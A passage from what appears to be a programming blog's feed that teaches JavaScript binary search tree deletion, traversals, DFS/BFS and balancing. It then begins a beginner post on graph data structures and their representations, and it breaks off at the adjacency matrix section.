<figure class="highlight js"><figcaption><span>BinarySearchTree.prototype.findNodeAndParent</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/trees/binary-search-tree.js#L44">Full Code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">findNodeAndParent(value) &#123;</span><br><span class="line marked">  <span class="keyword">let</span> node = <span class="built_in">this</span>.root;</span><br><span class="line">  <span class="keyword">let</span> parent;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">while</span> (node) &#123;</span><br><span class="line">    <span class="keyword">if</span> (node.value === value) &#123;</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    parent = node;</span><br><span class="line marked">    node = ( value &gt;= node.value) ? node.right : node.left;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> &#123; <span class="attr">found</span>: node, parent &#125;;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p><code>findNodeAndParent</code> goes through the tree, searching for the value. It starts at the root (line 2) and then goes left or right based on the value (line 10). If the value already exists, it will return the node <code>found</code> and also the parent. In case that the node doesn’t exist, we still return the <code>parent</code>.</p>
<h3 id="BST-Node-Deletion"><a href="#BST-Node-Deletion" class="headerlink" title="BST Node Deletion"></a>BST Node Deletion</h3><p>We know how to insert and search for value. Now, we are going to implement the delete operation. It’s a little trickier than adding, so let’s explain it with the following cases:</p>
<p><strong>Deleting a leaf node (0 children)</strong></p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">    30                             30</span><br><span class="line"> &#x2F;     \         remove(12)     &#x2F;     \</span><br><span class="line">10      40       ---------&gt;    10      40</span><br><span class="line">  \    &#x2F;  \                      \    &#x2F;  \</span><br><span class="line">  15  35   50                    15  35   50</span><br><span class="line">  &#x2F;</span><br><span class="line">12*</span><br></pre></td></tr></table></figure>
<p>We remove the reference from the node’s parent (15) to be null.</p>
<p><strong>Deleting a node with one child.</strong></p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">    30                              30</span><br><span class="line"> &#x2F;     \         remove(10)      &#x2F;     \</span><br><span class="line">10*     40       ---------&gt;     15      40</span><br><span class="line">  \    &#x2F;  \                            &#x2F;  \</span><br><span class="line">  15  35   50                         35   50</span><br></pre></td></tr></table></figure>

<p>In this case, we go to the parent (30) and replace the child (10) with a child’s child (15).</p>
<p><strong>Deleting a node with two children</strong></p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">    30                              30</span><br><span class="line"> &#x2F;     \         remove(40)      &#x2F;     \</span><br><span class="line">15      40*      ---------&gt;     15      50</span><br><span class="line">       &#x2F;  \                            &#x2F;</span><br><span class="line">      35   50                         35</span><br></pre></td></tr></table></figure>

<p>We are removing node 40, which has two children (35 and 50). We replace the parent’s (30) child (40) with the child’s right child (50). Then we keep the left child (35) in the same place before, so we have to make it the left child of 50.</p>
<p>Another way to remove node 40 is to move the left child (35) up and then keep the right child (50) where it was.</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">    30</span><br><span class="line"> &#x2F;     \</span><br><span class="line">15      35</span><br><span class="line">          \</span><br><span class="line">           50</span><br></pre></td></tr></table></figure>

<p>Either way is ok as long as you keep the binary search tree property: <code>left &lt; parent &lt; right</code>.</p>
<p><strong>Deleting the root.</strong></p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">   30*                            50</span><br><span class="line"> &#x2F;     \       remove(30)        &#x2F;</span><br><span class="line">15      50     ---------&gt;       35</span><br><span class="line">       &#x2F;                       &#x2F;</span><br><span class="line">      35                      15</span><br></pre></td></tr></table></figure>

<p>Deleting the root is very similar to removing nodes with 0, 1, or 2 children discussed earlier. The only difference is that afterward, we need to update the reference of the root of the tree.</p>
<p>Here’s an animation of what we discussed.</p>
<img src="/images/bst-remove.gif" class="" title="Removing a node with 0, 1, 2 children from a binary search tree">

<p>The animation moves up the left child/subtree and keeps the right child/subtree in place.</p>
<p>Now that we have a good idea how it should work, let’s implement it:</p>
<figure class="highlight js"><figcaption><span>BinarySearchTree.prototype.remove</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/trees/binary-search-tree.js#L89">Full Code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">remove(value) &#123;</span><br><span class="line">  <span class="keyword">const</span> nodeToRemove = <span class="built_in">this</span>.find(value);</span><br><span class="line marked">  <span class="keyword">if</span> (!nodeToRemove) <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// Combine left and right children into one subtree without nodeToRemove</span></span><br><span class="line marked">  <span class="keyword">const</span> nodeToRemoveChildren = <span class="built_in">this</span>.combineLeftIntoRightSubtree(nodeToRemove);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (nodeToRemove.meta.multiplicity &amp;&amp; nodeToRemove.meta.multiplicity &gt; <span class="number">1</span>) &#123;</span><br><span class="line">    nodeToRemove.meta.multiplicity -= <span class="number">1</span>; <span class="comment">// handle duplicated</span></span><br><span class="line">  &#125; <span class="keyword">else</span> <span class="keyword">if</span> (nodeToRemove === <span class="built_in">this</span>.root) &#123;</span><br><span class="line">    <span class="comment">// Replace (root) node to delete with the combined subtree.</span></span><br><span class="line marked">    <span class="built_in">this</span>.root = nodeToRemoveChildren;</span><br><span class="line">    <span class="built_in">this</span>.root.parent = <span class="literal">null</span>; <span class="comment">// clearing up old parent</span></span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="keyword">const</span> side = nodeToRemove.isParentLeftChild ? <span class="string">&#x27;left&#x27;</span> : <span class="string">&#x27;right&#x27;</span>;</span><br><span class="line">    <span class="keyword">const</span> &#123; parent &#125; = nodeToRemove; <span class="comment">// get parent</span></span><br><span class="line">    <span class="comment">// Replace node to delete with the combined subtree.</span></span><br><span class="line marked">    parent[side] = nodeToRemoveChildren;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="built_in">this</span>.size -= <span class="number">1</span>;</span><br><span class="line">  <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Here are some highlights of the implementation:</p>
<ul>
<li>First, we search if the node exists. If it doesn’t, we return false, and we are done!</li>
<li>If the node to remove exists, then combine left and right children into one subtree.</li>
<li>Replace node to delete with the combined subtree.</li>
</ul>
<p>The function that combines left into right subtree is the following:</p>
<figure class="highlight js"><figcaption><span>BinarySearchTree.prototype.combineLeftIntoRightSubtree</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/trees/binary-search-tree.js#L89">Full Code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">combineLeftIntoRightSubtree(node) &#123;</span><br><span class="line">  <span class="keyword">if</span> (node.right) &#123;</span><br><span class="line marked">    <span class="keyword">const</span> leftmost = <span class="built_in">this</span>.getLeftmost(node.right);</span><br><span class="line">    leftmost.left = node.left;</span><br><span class="line">    <span class="keyword">return</span> node.right;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> node.left;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>For instance, let’s say that we want to combine the following tree, and we are about to delete node <code>30</code>. We want to mix the 30’s left subtree into the right one. The result is this:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">   30*                             40</span><br><span class="line"> &#x2F;     \                          &#x2F;  \</span><br><span class="line">10      40    combine(30)       35   50</span><br><span class="line">  \    &#x2F;  \   -----------&gt;      &#x2F;</span><br><span class="line">  15  35   50                  10</span><br><span class="line">                                \</span><br><span class="line">                                 15</span><br></pre></td></tr></table></figure>

<p>If we make the new subtree the root, then node <code>30</code> is no more!</p>
<h2 id="Binary-Tree-Transversal"><a href="#Binary-Tree-Transversal" class="headerlink" title="Binary Tree Transversal"></a>Binary Tree Transversal</h2><p>There are different ways of traversing a Binary Tree, depending on the order that the nodes are visited: in-order, pre-order, and post-order. Also, we can use them
<a href="/blog/2018/05/14/Data-Structures-for-Beginners-Graphs-Time-Complexity-tutorial/#Depth-first-search-DFS-Graph-search">DFS</a>
and
<a href="/blog/2018/05/14/Data-Structures-for-Beginners-Graphs-Time-Complexity-tutorial/#Breadth-frirst-search-BFS-Graph-search">BFS</a>
that we learned from the
<a href="/blog/2018/05/14/Data-Structures-for-Beginners-Graphs-Time-Complexity-tutorial/">graph post.</a>
Let’s go through each one.</p>
<p><strong>In-Order Traversal</strong></p>
<p>In-order traversal visit nodes on this order: left, parent, right.</p>
<figure class="highlight js"><figcaption><span>BinarySearchTree.prototype.inOrderTraversal</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/trees/binary-search-tree.js">Full Code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">* inOrderTraversal(node = <span class="built_in">this</span>.root) &#123;</span><br><span class="line">  <span class="keyword">if</span> (node.left) &#123; <span class="keyword">yield</span>* <span class="built_in">this</span>.inOrderTraversal(node.left); &#125;</span><br><span class="line">  <span class="keyword">yield</span> node;</span><br><span class="line">  <span class="keyword">if</span> (node.right) &#123; <span class="keyword">yield</span>* <span class="built_in">this</span>.inOrderTraversal(node.right); &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>


<p>Let’s use this tree to make the example:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">         10</span><br><span class="line">       &#x2F;    \</span><br><span class="line">      5      30</span><br><span class="line">    &#x2F;       &#x2F;  \</span><br><span class="line">   4       15   40</span><br><span class="line"> &#x2F;</span><br><span class="line">3</span><br></pre></td></tr></table></figure>

<p>In-order traversal would print out the following values: <code>3, 4, 5, 10, 15, 30, 40</code>. If the tree is a BST, then the nodes will be sorted in ascendent order as in our example.</p>
<p><strong>Post-Order Traversal</strong></p>
<p>Post-order traversal visit nodes on this order: left, right, parent.</p>
<figure class="highlight js"><figcaption><span>BinarySearchTree.prototype.postOrderTraversal</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/trees/binary-search-tree.js">Full Code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">* postOrderTraversal(node = <span class="built_in">this</span>.root) &#123;</span><br><span class="line">  <span class="keyword">if</span> (node.left) &#123; <span class="keyword">yield</span>* <span class="built_in">this</span>.postOrderTraversal(node.left); &#125;</span><br><span class="line">  <span class="keyword">if</span> (node.right) &#123; <span class="keyword">yield</span>* <span class="built_in">this</span>.postOrderTraversal(node.right); &#125;</span><br><span class="line">  <span class="keyword">yield</span> node;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Post-order traversal would print out the following values: <code>3, 4, 5, 15, 40, 30, 10</code>.</p>
<p><strong>Pre-Order Traversal and DFS</strong></p>
<p>Pre-order traversal visit nodes on this order: parent, left, right.</p>
<figure class="highlight js"><figcaption><span>BinarySearchTree.prototype.preOrderTraversal</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/trees/binary-search-tree.js">Full Code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">* preOrderTraversal(node = <span class="built_in">this</span>.root) &#123;</span><br><span class="line">  <span class="keyword">yield</span> node;</span><br><span class="line">  <span class="keyword">if</span> (node.left) &#123; <span class="keyword">yield</span>* <span class="built_in">this</span>.preOrderTraversal(node.left); &#125;</span><br><span class="line">  <span class="keyword">if</span> (node.right) &#123; <span class="keyword">yield</span>* <span class="built_in">this</span>.preOrderTraversal(node.right); &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Pre-order traversal would print out the following values: <code>10, 5, 4, 3, 30, 15, 40</code>. This order of numbers is the same result that we would get if we run the Depth-First Search (DFS).</p>
<figure class="highlight js"><figcaption><span>BinarySearchTree.prototype.dfs</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/trees/binary-search-tree.js">Full Code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">* dfs() &#123;</span><br><span class="line">  <span class="keyword">const</span> stack = <span class="keyword">new</span> Stack();</span><br><span class="line"></span><br><span class="line">  stack.add(<span class="built_in">this</span>.root);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">while</span> (!stack.isEmpty()) &#123;</span><br><span class="line">    <span class="keyword">const</span> node = stack.remove();</span><br><span class="line">    <span class="keyword">yield</span> node;</span><br><span class="line">    <span class="comment">// reverse array, so left gets removed before right</span></span><br><span class="line">    node.descendants.reverse().forEach(<span class="function"><span class="params">child</span> =&gt;</span> stack.add(child));</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>If you need a refresher on DFS, we covered it in detail on <a href="/blog/2018/05/14/Data-Structures-for-Beginners-Graphs-Time-Complexity-tutorial/#Depth-first-search-DFS-Graph-search">Graph post</a>.</p>
<p><strong>Breadth-First Search (BFS)</strong></p>
<p>Similar to DFS, we can implement a BFS by switching the <code>Stack</code> by a <code>Queue</code>:</p>
<figure class="highlight js"><figcaption><span>BinarySearchTree.prototype.bfs</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/trees/binary-search-tree.js">Full Code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">* bfs() &#123;</span><br><span class="line">  <span class="keyword">const</span> queue = <span class="keyword">new</span> Queue();</span><br><span class="line"></span><br><span class="line">  queue.add(<span class="built_in">this</span>.root);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">while</span> (!queue.isEmpty()) &#123;</span><br><span class="line">    <span class="keyword">const</span> node = queue.remove();</span><br><span class="line">    <span class="keyword">yield</span> node;</span><br><span class="line">    node.descendants.forEach(<span class="function"><span class="params">child</span> =&gt;</span> queue.add(child));</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>The BFS order is: <code>10, 5, 30, 4, 15, 40, 3</code></p>
<h2 id="Balanced-vs-Non-balanced-Trees"><a href="#Balanced-vs-Non-balanced-Trees" class="headerlink" title="Balanced vs. Non-balanced Trees"></a>Balanced vs. Non-balanced Trees</h2><p>So far, we have discussed how to <code>add</code>, <code>remove</code>, and <code>find</code> elements. However, we haven’t talked about runtimes. Let’s think about the worst-case scenarios.</p>
<p>Let’s say that we want to add numbers in ascending order.</p>
<img src="/images/bst-asc.gif" class="" title="Inserting values in ascending order in a Binary Search Tree">

<p>We will end up with all the nodes on the right side! This unbalanced tree is no better than a LinkedList, so finding an element would take <em>O(n)</em>. 😱</p>
<p>Looking for something in an unbalanced tree is like looking for a word in the dictionary page by page. When the tree is balanced, you can open the dictionary in the middle, and from there, you know if you have to go left or right depending on the alphabet and the word you are looking for.</p>
<p>We need to find a way to balance the tree!</p>
<p>If the tree was <strong>balanced</strong>, we could find elements in <em>O(log n)</em> instead of going through each node. Let’s talk about what a balanced tree means.</p>
<!-- { img http://www.stoimen.com/blog/wp-content/uploads/2012/07/3.-Balanced-vs.-Non-Balanced.png Balanced vs unbalanced Tree } -->
<img src="/images/balanced-vs-non-balanced-tree.jpg" class="" title="Balanced vs unbalanced Tree">

<p>If we search for <code>7</code> in the non-balanced tree, we have to go from 1 to 7. However, in the balanced tree, we visit: <code>4</code>, <code>6</code>, and <code>7</code>. It gets even worse with larger trees. If you have one million nodes, searching for a non-existing element might require you to visit all million while on a balanced tree. It just needs 20 visits! That’s a huge difference!</p>
<p>We are going to solve this issue in the next post using self-balanced trees (AVL trees).</p>
<h2 id="Summary"><a href="#Summary" class="headerlink" title="Summary"></a>Summary</h2><p>We have covered much ground for trees. Let’s sum it up with bullets:</p>
<ul>
<li>The tree is a data structure where a node has 0 or more descendants/children.</li>
<li>Tree nodes don’t have cycles (acyclic). If it has cycles, it is a <a href="/blog/2018/05/14/Data-Structures-for-Beginners-Graphs-Time-Complexity-tutorial/">Graph data structure</a> instead.</li>
<li>Trees with two children or less are called: Binary Tree</li>
<li>When a Binary Tree is sorted so that the left value is less than the parent and the right children is higher, then and only then we have a <strong>Binary Search Tree</strong>.</li>
<li>You can visit a tree in a pre/post/in-order fashion.</li>
<li>An unbalanced has a time complexity of <em>O(n)</em>. 🤦🏻‍</li>
<li>A balanced has a time complexity of <em>O(log n)</em>. 🎉</li>
</ul>
<!-- Usage: -->
<!-- https://www.quora.com/What-is-the-real-life-application-of-tree-data-structures -->

<!-- http://www.stoimen.com/blog/2012/07/03/computer-algorithms-balancing-a-binary-search-tree/ -->

<!-- https://stackoverflow.com/questions/8015630/definition-of-a-balanced-tree -->

<!-- https://www.radford.edu/~itec324/2016fall-ibarland/Lectures/SList-BST-Composite/bst-summary.java -->
]]></content>
    
    <summary type="html">
    
      &lt;script type=&quot;text/javascript&quot; src=&quot;https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.4/MathJax.js?config=TeX-MML-AM_CHTML&quot; async&gt;&lt;/script&gt;

&lt;p&gt;Tree data structures have many uses, and it’s good to have a basic understanding of how they work. Trees are the basis for other very used data structures like Maps and Sets. Also, they are used on databases to perform quick searches. The HTML DOM uses a tree data structure to represents the hierarchy of elements.  This post will explore the different types of trees like binary trees, binary search trees, and how to implement them.&lt;/p&gt;
    
    </summary>
    
      <category term="Coding" scheme="https://adrianmejia.com/categories/coding/"/>
    
      <category term="Data Structures and Algorithms (DSA)" scheme="https://adrianmejia.com/categories/coding/data-structures-and-algorithms-dsa/"/>
    
    
      <category term="algorithms" scheme="https://adrianmejia.com/tags/algorithms/"/>
    
      <category term="tutorial_algorithms" scheme="https://adrianmejia.com/tags/tutorial-algorithms/"/>
    
  </entry>
  
  <entry>
    <title>Graph Data Structures in JavaScript for Beginners</title>
    <link href="https://adrianmejia.com/Data-Structures-for-Beginners-Graphs-Time-Complexity-tutorial/"/>
    <id>https://adrianmejia.com/Data-Structures-for-Beginners-Graphs-Time-Complexity-tutorial/</id>
    <published>2018-05-14T09:19:22.000Z</published>
    <updated>2020-12-16T00:36:22.000Z</updated>
    
    <content type="html"><![CDATA[<p>In this post, we are going to explore non-linear data structures like graphs. Also, we’ll cover the central concepts and typical applications.</p>
<p>You are probably using programs with graphs and trees. For instance, let’s say that you want to know the shortest path between your workplace and home. You can use graph algorithms to get the answer! We are going to look into this and other fun challenges.</p>
<a id="more"></a>

<p>In the previous post, we explore linear data structures like arrays, linked lists, sets, stacks, etc. This one builds on top of what we learned.</p>
<p>You can find all these implementations and more in the Github repo:
<a href="https://github.com/amejiarosario/dsa.js">https://github.com/amejiarosario/dsa.js</a></p>
<hr>
<p>This post is part of a tutorial series:</p>
<p><strong>Learning Data Structures and Algorithms (DSA) for Beginners</strong></p>
<ol>
<li><p><a href="/blog/2018/04/04/how-you-can-change-the-world-learning-data-structures-algorithms-free-online-course-tutorial/">Intro to algorithm’s time complexity and Big O notation</a></p>
<!-- 1. Intro to Algorithm's Time Complexity and Big O Notation **👈 you are here** -->
</li>
<li><p><a href="/blog/2018/04/05/most-popular-algorithms-time-complexity-every-programmer-should-know-free-online-tutorial-course/">Eight time complexities that every programmer should know</a></p>
<!-- 1. Eight time complexities that every programmer should know **👈 you are here** -->
</li>
<li><p><a href="/blog/2018/04/28/Data-Structures-Time-Complexity-for-Beginners-Arrays-HashMaps-Linked-Lists-Stacks-Queues-tutorial/">Data Structures for Beginners: Arrays, HashMaps, and Lists</a></p>
<!-- 1. Data Structures for Beginners: Arrays, HashMaps, and Lists **👈 you are here** -->
</li>
<li><p>Graph Data Structures for Beginners <strong>👈 you are here</strong></p>
<!-- 1. [Graph Data Structures for Beginners](/blog/2018/05/14/Data-Structures-for-Beginners-Graphs-Time-Complexity-tutorial/) -->
</li>
<li><p><a href="/blog/2018/06/11/Data-Structures-for-Beginners-Trees-binary-search-tree-tutorial/">Trees Data Structures for Beginners</a></p>
<!-- 1. Trees Data Structures for Beginners **👈 you are here** -->
</li>
<li><p><a href="/blog/2018/07/16/Self-balanced-Binary-Search-Trees-with-AVL-tree-Data-Structure-for-beginners/">Self-balanced Binary Search Trees</a></p>
<!-- 1. Self-balanced Binary Search Trees  **👈 you are here** -->
</li>
<li><p><a href="/blog/2018/04/24/Analysis-of-Recursive-Algorithms/">Appendix I: Analysis of Recursive Algorithms</a></p>
</li>
</ol>
<hr>
<p>Here is the summary of the operations that we are going to cover on this post:</p>
<table>
<thead>
<tr>
<th>&nbsp;</th>
<th>Adjacency List</th>
<th>Adjacency Matrix</th>
</tr>
</thead>
<tbody><tr>
<td>Space</td>
<td><a href="#List.space">O(&#124;V&#124; + &#124;E&#124;)</a></td>
<td><a href="#Matrix.space">O(&#124;V&#124;<sup>2</sup>)</a></td>
</tr>
<tr>
<td>addVertex</td>
<td><a href="#Graph.addVertex">O(1)</a></td>
<td><a href="#Matrix.addVertex">O(&#124;V&#124;<sup>2</sup>)</a></td>
</tr>
<tr>
<td>removeVertex</td>
<td><a href="#Graph.removeVertex">O(&#124;V&#124; + &#124;E&#124;)</a></td>
<td><a href="#Matrix.addVertex">O(&#124;V&#124;<sup>2</sup>)</a></td>
</tr>
<tr>
<td>addEdge</td>
<td><a href="#Graph.addEdge">O(1)</a></td>
<td><a href="#Matrix.addVertex">O(1)</a></td>
</tr>
<tr>
<td>removeEdge (using Array)</td>
<td><a href="#Graph.removeEdge">O(&#124;E&#124;)</a></td>
<td><a href="#Matrix.addVertex">O(1)</a></td>
</tr>
<tr>
<td>removeEdge (using HashSet)</td>
<td>O(1)</td>
<td><a href="#Matrix.addVertex">O(1)</a></td>
</tr>
<tr>
<td>getAdjacents</td>
<td><a href="#Node.getAdjacents">O(&#124;E&#124;)</a></td>
<td><a href="#Matrix.getAdjacents">O(&#124;V&#124;)</a></td>
</tr>
<tr>
<td>isAdjacent (using Array)</td>
<td><a href="#Node.getAdjacents">O(&#124;E&#124;)</a></td>
<td><a href="#Matrix.getAdjacents">O(1)</a></td>
</tr>
<tr>
<td>isAdjacent (using HashSet)</td>
<td>O(1)</td>
<td><a href="#Matrix.getAdjacents">O(1)</a></td>
</tr>
</tbody></table>
<h2 id="Graphs-Basics"><a href="#Graphs-Basics" class="headerlink" title="Graphs Basics"></a>Graphs Basics</h2><!-- http://ccicada.org/wp-content/uploads/2017/06/Community-Detection-with-Hierarchical-Clustering-Algorithms-Feb-3-2017.pdf -->

<p>Before we dive into interesting graph algorithms, let’s first clarify the naming conventions and graph properties.</p>
<p>A graph is a data structure where a <strong>node</strong> can have zero or more adjacent elements.</p>
<p>The connection between two nodes is called <strong>edge</strong>. Nodes can also be called <strong>vertices</strong>.</p>
<img src="/images/graph-parts.jpg" class="" title="Graph is composed of vertices and edges">
<!-- { img http://btechsmartclass.com/DS/images/Graph%201.png Graph is composed of vertices and edges } -->

<p>The <strong>degree</strong> is the number of edges connected to a vertex. E.g., the <code>purple</code> vertex has a degree of 3 while the <code>blue</code> one has a degree of 1.</p>
<p>If the edges are bi-directional, then we have an <strong>undirected graph</strong>. If the edges have a direction, then we have a <strong>directed graph</strong> or <strong>di-graph</strong> for short. You can think of it as a one-way street (directed) or two-way street (undirected).</p>
<!-- image of graph behind a map: edges is POI and edges are the streets -->
<!-- { img https://koenig-media.raywenderlich.com/uploads/2017/01/graph6.png "Directed and Undirected graphs" } -->
<img src="/images/directed-vs-undirected-graph.jpg" class="" title="Directed vs Undirected graph">

<p>Vertex can have edges that go to itself (e.g., <code>blue</code> node). This is called <strong>self-loop</strong>.</p>
<p>A graph can have <strong>cycles</strong>, which means you could get the same node more than once. The graph without cycles is called <strong>acyclic graph</strong>.</p>
<!-- { img http://apprize.info/php/hadoop_1/hadoop_1.files/image190.jpg Acyclic vs Cyclic Graphs } -->
<img src="/images/cyclic-vs-acyclic-directed-graph.jpg" class="" title="Cyclic vs Acyclic directed graph">

<p>Also, acyclic undirected graphs are called <strong>tree</strong>. We are going to cover trees in-depth in the next post.</p>
<p>Not all vertices have to be connected in the graph. You might have isolated nodes or even separated subgraphs. If all nodes have at least one edge, then we have a <strong>connected graph</strong>. When all nodes are connected to all other nodes, then we have a <strong>complete graph</strong>.</p>
<!-- { img /images/digraph-subgraph.png digraph with isolated subgraphs } -->
<img src="/images/connected-vs-complete-graph.jpg" class="" title="Complete vs Connected graph">

<p>For a complete graph, each node should have <code>#nodes - 1</code> edges. In the previous example, we have seven vertices, so each node has six edges.</p>
<h2 id="Graph-Applications"><a href="#Graph-Applications" class="headerlink" title="Graph Applications"></a>Graph Applications</h2><p>When edges have values/cost assigned to them, we say we have a <strong>weighted graph</strong>. If the weight is absent, we can assume it’s 1.</p>
<img src="/images/airports-weighted-graph.jpg" class="" title="Airports weighted graph">

<p>Weighted graphs have many applications depending on the domain where you need to solve a problem. To name a few:</p>
<ul>
<li><p>Airline Traffic (image above)</p>
<ul>
<li>Node/vertex = Airport</li>
<li>Edges = direct flights between two airports</li>
<li>Weight = miles between two airports</li>
</ul>
</li>
<li><p>GPS Navigation</p>
<ul>
<li>Node = road intersection</li>
<li>Edge = road</li>
<li>Weight = time required to go from one intersection to another</li>
</ul>
</li>
<li><p>Networks routing</p>
<ul>
<li>Node = server</li>
<li>Edge = data link</li>
<li>Weight = connection speed</li>
</ul>
</li>
</ul>
<p>In general, graphs have many real-world applications like:</p>
<ul>
<li>Electronic circuits</li>
<li>Flight reservations</li>
<li>Driving directions</li>
<li>Telcom: Cell tower frequency planning</li>
<li>Social networks. E.g., Facebook uses a graph for suggesting friends</li>
<li>Recommendations: Amazon/Netflix uses graphs to make suggestions for products/movies</li>
<li>Graphs help to plan the logistics of delivering goods</li>
</ul>
<img src="/images/map-graph.jpg" class="" title="Graph applications: pathfinder">

<p>We just learned the basics of graphs and some applications. Let’s cover how to represent graphs in JavaScript.</p>
<h2 id="Representing-graphs"><a href="#Representing-graphs" class="headerlink" title="Representing graphs"></a>Representing graphs</h2><p>There are two primary ways of representing a graph:</p>
<ol>
<li>Adjacency list</li>
<li>Adjacency Matrix</li>
</ol>
<p>Let’s explain it with the following directed graph (digraph) as an example:</p>
<img src="/images/digraph.png" class="" title="digraph">

<p>We digraph with 4 nodes. When a vertex has a link to itself (e.g. <code>a</code>) is called <strong>self-loop</strong>.</p>
<!-- Notice that `a` has **self-loop**. -->
<!-- img https://www.ida.liu.se/opendsa/OpenDSA/Books/TDDD86_2014/html/_images/GraphRep.png Graph representation: Adjacency list and matrix  -->

<h3 id="Adjacency-Matrix"><a href="#Adjacency-Matrix" class="headerlink" title="Adjacency Matrix"></a>Adjacency Matrix</h3><p>The adjacency matrix is one way of representing a graph using a two-dimensional array (NxN matrix). In the intersection of nodes, we add 1 (or other weight) if they are connected and <code>0</code> or <code>-</code> if they are not connected.</p>
<p>Using the same example as before, we can build the following adjacency matrix:</p>
